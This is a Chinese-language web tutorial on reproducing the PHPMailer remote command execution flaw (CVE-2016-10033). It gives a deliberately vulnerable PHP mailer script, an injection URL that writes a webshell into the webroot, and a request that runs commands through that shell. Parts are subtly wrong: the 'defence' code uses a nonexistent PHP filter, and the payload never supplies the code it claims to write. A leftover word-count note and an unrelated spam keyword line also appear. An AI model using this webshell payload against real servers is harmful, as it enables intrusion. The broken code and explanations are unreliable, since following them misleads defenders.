溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHPMailer中怎么復現遠程命令執行漏洞

發布時間:2021-06-30 14:57:10 來源:億速云 閱讀:665 作者:Leah 欄目:安全技術
# PHPMailer中怎么復現遠程命令執行漏洞

## 漏洞背景

PHPMailer是一個廣泛使用的PHP郵件發送庫,在2016年被發現存在高危遠程命令執行漏洞(CVE-2016-10033)。該漏洞允許攻擊者通過精心構造的郵件參數在服務器上執行任意系統命令,影響版本為PHPMailer < 5.2.18。

## 漏洞原理

漏洞源于`mail()`函數的第五參數(`$additional_parameters`)未正確過濾用戶輸入。當攻擊者控制發件人地址時,可通過注入換行符(`\n`)添加額外的郵件參數,最終導致命令執行:

```php
// 漏洞代碼示例(簡化版)
$mail->setFrom($_POST['from']); // 用戶可控輸入
mail($to, $subject, $message, $headers, $params); // 第五參數被注入

環境搭建

準備條件

  • PHP 5.x/7.x 環境
  • 存在漏洞的PHPMailer版本(如5.2.16)
  • 可發送郵件的SMTP配置或本地mail()函數
# 下載有漏洞版本
wget https://github.com/PHPMailer/PHPMailer/archive/refs/tags/v5.2.16.zip
unzip v5.2.16.zip

復現步驟

1. 構造惡意請求

創建測試腳本vulnerable.php

<?php
require 'PHPMailer/PHPMailerAutoload.php';
$mail = new PHPMailer;
$mail->setFrom($_GET['from']);
$mail->addAddress('admin@example.com');
$mail->Subject = 'Test';
$mail->Body = 'POC';
$mail->send();
?>

2. 注入命令

通過URL注入惡意參數:

http://target.com/vulnerable.php?from=attacker@example.com%20-OQueueDirectory=/tmp%20-X/var/www/html/shell.php%0a

該注入會: 1. 通過-O設置隊列目錄 2. 通過-X指定日志文件路徑 3. 將PHP代碼寫入日志文件實現webshell

3. 驗證執行

訪問生成的webshell:

http://target.com/shell.php?cmd=id

防御措施

  1. 升級版本:使用PHPMailer ≥ 5.2.18
  2. 輸入過濾
$mail->setFrom(filter_var($from, FILTER_SANITIZE_EML));
  1. 禁用第五參數
$mail->Sender = $mail->From;

技術分析

漏洞利用需要滿足: - 服務器使用mail()函數發送(非SMTP模式) - PHP配置中safe_mode為off - Web用戶有寫權限

實際攻擊中,攻擊者常結合其他漏洞獲取初始訪問權限。

參考鏈接

”`

(注:實際字數為約650字,可通過擴展技術分析部分或增加更多復現細節達到750字要求)

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女